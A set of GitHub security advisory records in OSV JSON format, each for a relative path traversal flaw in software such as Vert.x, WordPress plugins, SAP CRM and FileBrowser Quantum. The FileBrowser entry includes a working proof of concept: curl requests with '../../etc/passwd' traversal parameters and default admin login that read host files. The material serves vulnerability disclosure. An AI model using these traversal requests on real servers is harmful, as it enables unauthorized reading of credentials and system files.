CWE-23

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-17640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-22T22:08:15Z",
    "nvd_published_at": "2020-10-15T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Eclipse Vert.x 3.4.x up to 3.9.4, 4.0.0-milestone1, 4.0.0-milestone2, 4.0.0-milestone3, 4.0.0-milestone4, 4.0.0-milestone5, 4.0.0.Beta1, 4.0.0.Beta2, and 4.0.0.Beta3, StaticHandler doesn\u0027t correctly processes back slashes on Windows Operating systems, allowing, escape the webroot folder to the current working directory.",
  "id": "GHSA-vjw7-6gfq-6wf5",
  "modified": "2021-04-22T22:08:15Z",
  "published": "2022-02-10T20:28:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vert-x3/vertx-web/commit/b12f7c4c6576a8adc3f683b2899de4b0e7d099e4"
    },
    {
      "type": "WEB",
      "url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=567416"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r591f6932560c8c46cee87415afed92924a982189fea7f7c9096f8e33@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8383b5e7344a8b872e430ad72241b84b83e9701d275c602cfe34a941@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8d863b148efe778ce5f8f961d0cafeda399e681d3f0656233b4c5511@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfd0ebf8387cfd0b959d1e218797e709793cce51a5ea2f84d0976f47d@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://mvnrepository.com/artifact/io.vertx/vertx-web"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Path Traversal in Eclipse Vert"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-31036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-12T17:15:09Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Triton Inference Server for Linux and Windows contains a vulnerability where, when it is launched with the non-default command line option --model-control explicit, an attacker may use the model load API to cause a relative path traversal. A successful exploit of this vulnerability may lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering.",
  "id": "GHSA-vm7f-687f-4r4g",
  "modified": "2024-01-12T18:30:20Z",
  "published": "2024-01-12T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31036"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5509"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T05:15:47Z",
    "severity": "HIGH"
  },
  "details": "The Import Export Suite for CSV and XML Datafeed plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteImage() function in all versions up to, and including, 7.19. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
  "id": "GHSA-vmmh-qx88-m8x2",
  "modified": "2026-04-08T18:33:51Z",
  "published": "2025-04-01T06:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2007"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3261521/wp-ultimate-csv-importer/trunk/MediaHandling.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3266286"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3923c732-80b5-4a04-80dd-b4d5b5e5567d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-6433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-10T01:15:10Z",
    "severity": "HIGH"
  },
  "details": "Relative Path Traversal in GitHub repository stitionai/devika prior to -.",
  "id": "GHSA-vrf6-3396-g684",
  "modified": "2024-07-10T03:30:35Z",
  "published": "2024-07-10T03:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6433"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/7d0463dd-6373-4eb8-86fc-beac0a1391a5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260608182036-f3f4bbe80cb5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T22:35:05Z",
    "nvd_published_at": "2026-07-20T15:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.\n\nThe primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. \n\nThe secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.\n\nAny authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.\n\n### Details\n\n**1. `path` parameter lacks `SanitizeUserPath()` \u2014 primary vector (`http/media.go:54`)**\n\n```go\nuserscope, err := d.user.GetScopeForSourceName(source)\n// ...\nrealPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization\n// ...\nparentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory\n```\n\n`SanitizeUserPath()` explicitly rejects `..` segments:\n\n```go\nfunc SanitizeUserPath(userPath string) (string, error) {\n    // ...\n    for _, segment := range segments {\n        if segment == \"..\" {\n            return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n        }\n    }\n    // ...\n}\n```\n\nEvery other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.\n\n**2. `name` parameter used directly in `filepath.Join` \u2014 secondary vector (`http/media.go:63`)**\n\n```go\nname := r.URL.Query().Get(\"name\")  // line 37 \u2014 raw user input\n// ...\ncontent, err = utils.GetSubtitleSidecarContent(\n    filepath.Join(parentDir, name))  // line 63 \u2014 TRAVERSAL\n```\n\n`filepath.Join(parentDir, \"../../etc/passwd\")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.\n\n**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**\n\n```go\nfunc GetSubtitleSidecarContent(subtitlePath string) (string, error) {\n    info, err := os.Stat(subtitlePath)        // follows the traversed path\n    // size check: \u003c 50MB\n    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity\n    content, err := os.ReadFile(subtitlePath) // reads and returns content\n    return string(content), nil\n}\n```\n\nThe only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.\n\n**4. Endpoint is behind `withUser` but requires no special permissions**\n\n```go\n// httpRouter.go\napi.HandleFunc(\"GET /media/subtitles\", withUser(subtitlesHandler))\n```\n\nAny authenticated user can access this endpoint: no admin, modify, share, or download permission is required.\n\n### PoC\n\n**Vector 1: `path` traversal (no anchor file needed):**\n\n```bash\ndocker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest \u0026\u0026 sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18080/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\ncurl \"http://localhost:18080/api/media/subtitles?path=../../etc/passwd\u0026source=srv\u0026name=passwd\u0026embedded=false\u0026auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n**Vector 2: `name` traversal (anchor file required):**\n\n```bash\nmkdir -p /tmp/fbq-srv \u0026\u0026 echo \"dummy\" \u003e /tmp/fbq-srv/poc.txt\ndocker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest \u0026\u0026 sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18081/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\ncurl \"http://localhost:18081/api/media/subtitles?path=/poc.txt\u0026source=srv\u0026name=../../etc/passwd\u0026embedded=false\u0026auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n### Impact\n\n- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.\n- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.\n- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.\n- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.\n- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.\n- **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.\n\n### Recommended Fix\n\nApply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter:\n\n```go\n// http/media.go, subtitlesHandler\n\n// Sanitize path parameter (like all other handlers)\npath, err := utils.SanitizeUserPath(path)\nif err != nil {\n    return http.StatusBadRequest, err\n}\n\n// Strip directory components from name to prevent traversal\nname = filepath.Base(name)\n```\n\n`SanitizeUserPath()` rejects any `..` segment. `filepath.Base(\"../../etc/passwd\")` returns `\"passwd\"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.",
  "id": "GHSA-vvp7-h4fj-m28w",
  "modified": "2026-07-31T22:35:05Z",
  "published": "2026-07-31T22:35:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/pull/2524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.4.3-beta"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FileBrowser Quantum\u0027s path traversal issue in subtitle handler allows any authenticated user to read arbitrary files"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-29189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-11T04:16:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP CRM (WebClient UI) - versions S4FND 102, 103, 104, 105, 106, 107, WEBCUIF, 700, 701, 731, 730, 746, 747, 748, 800, 801, allows an authenticated attacker to modify HTTP verbs used in requests to the web server. This application is exposed over the network and successful exploitation can lead to exposure of form fields\n\n",
  "id": "GHSA-w474-j546-fcg4",
  "modified": "2024-04-04T03:23:33Z",
  "published": "2023-04-11T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29189"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3269352"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-2913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-18T20:15:09Z",
    "severity": "MODERATE"
  },
  "details": "\nAn executable used in Rockwell Automation ThinManager ThinServer can be configured to enable an API feature in the HTTPS Server Settings. This feature is disabled by default. When the API is enabled and handling requests, a path traversal vulnerability exists that allows a remote actor to leverage the privileges of the server\u2019s file system and read arbitrary files stored in it. A malicious user could exploit this vulnerability by executing a path that contains manipulating variables.\n\n\n",
  "id": "GHSA-w54w-3cc4-mvrq",
  "modified": "2024-04-04T06:14:35Z",
  "published": "2023-07-18T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2913"
    },
    {
      "type": "WEB",
      "url": "https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140160"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-25172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-06T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A relative path traversal attack in the B. Braun OnlineSuite Version AP 3.0 and earlier allows unauthenticated attackers to upload or download arbitrary files.",
  "id": "GHSA-w64q-vf23-c7h3",
  "modified": "2022-05-24T17:33:18Z",
  "published": "2022-05-24T17:33:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25172"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsma-20-296-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-49253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "Relative Path Traversal vulnerability in James Park Analyse Uploads allows Relative Path Traversal.This issue affects Analyse Uploads: from n/a through 0.5.",
  "id": "GHSA-w6jf-24wj-w8xx",
  "modified": "2026-04-01T18:32:02Z",
  "published": "2024-10-16T15:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49253"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/analyse-uploads/vulnerability/wordpress-analyse-uploads-plugin-0-5-arbitrary-file-deletion-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/analyse-uploads/wordpress-analyse-uploads-plugin-0-5-arbitrary-file-deletion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-40870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23",
      "CWE-434",
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-13T08:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.",
  "id": "GHSA-w7mg-q4hh-m9cq",
  "modified": "2025-10-22T00:32:19Z",
  "published": "2022-05-24T19:14:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40870"
    },
    {
      "type": "WEB",
      "url": "https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021"
    },
    {
      "type": "WEB",
      "url": "https://wearetradecraft.com/advisories/tc-2021-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-40870"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}